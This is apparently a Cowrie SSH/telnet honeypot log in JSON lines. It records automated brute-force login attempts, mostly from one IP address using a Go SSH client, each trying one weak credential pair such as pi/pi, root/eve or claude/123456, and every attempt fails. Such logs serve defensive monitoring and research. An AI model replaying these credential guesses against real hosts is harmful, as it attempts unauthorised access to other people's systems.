{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:06.783603Z","src_ip":"45.156.87.254","session":"ed47a5bf4f6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":40026,"dst_ip":"159.203.135.109","dst_port":22,"session":"21f3526a5456","protocol":"ssh","message":"New connection: 45.156.87.254:40026 (159.203.135.109:22) [session: 21f3526a5456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:09.817180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:09.822159Z","src_ip":"45.156.87.254","session":"21f3526a5456","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:09.911888Z","src_ip":"45.156.87.254","session":"21f3526a5456","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"123456","message":"login attempt [claude/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:10.167893Z","src_ip":"45.156.87.254","session":"21f3526a5456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:11.254642Z","src_ip":"45.156.87.254","session":"21f3526a5456","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":36392,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bedf81b821e","protocol":"telnet","message":"New connection: 20.123.41.163:36392 (10.17.0.5:23) [session: 8bedf81b821e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:12.113748Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":40036,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f353fbcc9c7","protocol":"ssh","message":"New connection: 45.156.87.254:40036 (159.203.135.109:22) [session: 5f353fbcc9c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:14.035389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:14.040729Z","src_ip":"45.156.87.254","session":"5f353fbcc9c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:14.245898Z","src_ip":"45.156.87.254","session":"5f353fbcc9c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joel","password":"joel","message":"login attempt [joel/joel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:14.603837Z","src_ip":"45.156.87.254","session":"5f353fbcc9c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.715063095092773,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:15.368634Z","src_ip":"20.123.41.163","session":"97f09f60b670","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:15.694538Z","src_ip":"45.156.87.254","session":"5f353fbcc9c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":40046,"dst_ip":"159.203.135.109","dst_port":22,"session":"17c8e6382627","protocol":"ssh","message":"New connection: 45.156.87.254:40046 (159.203.135.109:22) [session: 17c8e6382627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:18.549238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:18.554421Z","src_ip":"45.156.87.254","session":"17c8e6382627","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:18.641090Z","src_ip":"45.156.87.254","session":"17c8e6382627","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stream","password":"stream","message":"login attempt [stream/stream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:18.927667Z","src_ip":"45.156.87.254","session":"17c8e6382627","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:20.019933Z","src_ip":"45.156.87.254","session":"17c8e6382627","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":55026,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a814c1a5482","protocol":"ssh","message":"New connection: 45.156.87.254:55026 (159.203.135.109:22) [session: 7a814c1a5482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:23.226947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:23.232255Z","src_ip":"45.156.87.254","session":"7a814c1a5482","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:23.319405Z","src_ip":"45.156.87.254","session":"7a814c1a5482","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:23.783980Z","src_ip":"45.156.87.254","session":"7a814c1a5482","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:24.874262Z","src_ip":"45.156.87.254","session":"7a814c1a5482","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.16715478897095,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:27.954632Z","src_ip":"20.123.41.163","session":"e9ce8b0f179b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":55030,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0211e5438d7","protocol":"ssh","message":"New connection: 45.156.87.254:55030 (159.203.135.109:22) [session: f0211e5438d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:28.151920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:28.156790Z","src_ip":"45.156.87.254","session":"f0211e5438d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:28.243923Z","src_ip":"45.156.87.254","session":"f0211e5438d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pool","password":"pool","message":"login attempt [pool/pool] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:28.496196Z","src_ip":"45.156.87.254","session":"f0211e5438d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:29.640027Z","src_ip":"45.156.87.254","session":"f0211e5438d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":40668,"dst_ip":"159.203.135.109","dst_port":22,"session":"26466fd8687f","protocol":"ssh","message":"New connection: 45.156.87.254:40668 (159.203.135.109:22) [session: 26466fd8687f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:33.226703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:33.232882Z","src_ip":"45.156.87.254","session":"26466fd8687f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:33.315583Z","src_ip":"45.156.87.254","session":"26466fd8687f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:33.570413Z","src_ip":"45.156.87.254","session":"26466fd8687f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:34.695538Z","src_ip":"45.156.87.254","session":"26466fd8687f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":40696,"dst_ip":"159.203.135.109","dst_port":22,"session":"61640f5ea1f8","protocol":"ssh","message":"New connection: 45.156.87.254:40696 (159.203.135.109:22) [session: 61640f5ea1f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:37.846160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:37.850714Z","src_ip":"45.156.87.254","session":"61640f5ea1f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:37.934322Z","src_ip":"45.156.87.254","session":"61640f5ea1f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:38.186962Z","src_ip":"45.156.87.254","session":"61640f5ea1f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:39.299394Z","src_ip":"45.156.87.254","session":"61640f5ea1f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59072,"dst_ip":"159.203.135.109","dst_port":22,"session":"74b667148a3e","protocol":"ssh","message":"New connection: 45.156.87.254:59072 (159.203.135.109:22) [session: 74b667148a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:42.499573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:42.503811Z","src_ip":"45.156.87.254","session":"74b667148a3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:42.586493Z","src_ip":"45.156.87.254","session":"74b667148a3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang123","message":"login attempt [wang/wang123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:42.839666Z","src_ip":"45.156.87.254","session":"74b667148a3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:44.002536Z","src_ip":"45.156.87.254","session":"74b667148a3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59088,"dst_ip":"159.203.135.109","dst_port":22,"session":"77d389e3d3af","protocol":"ssh","message":"New connection: 45.156.87.254:59088 (159.203.135.109:22) [session: 77d389e3d3af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:46:47.040972Z"}
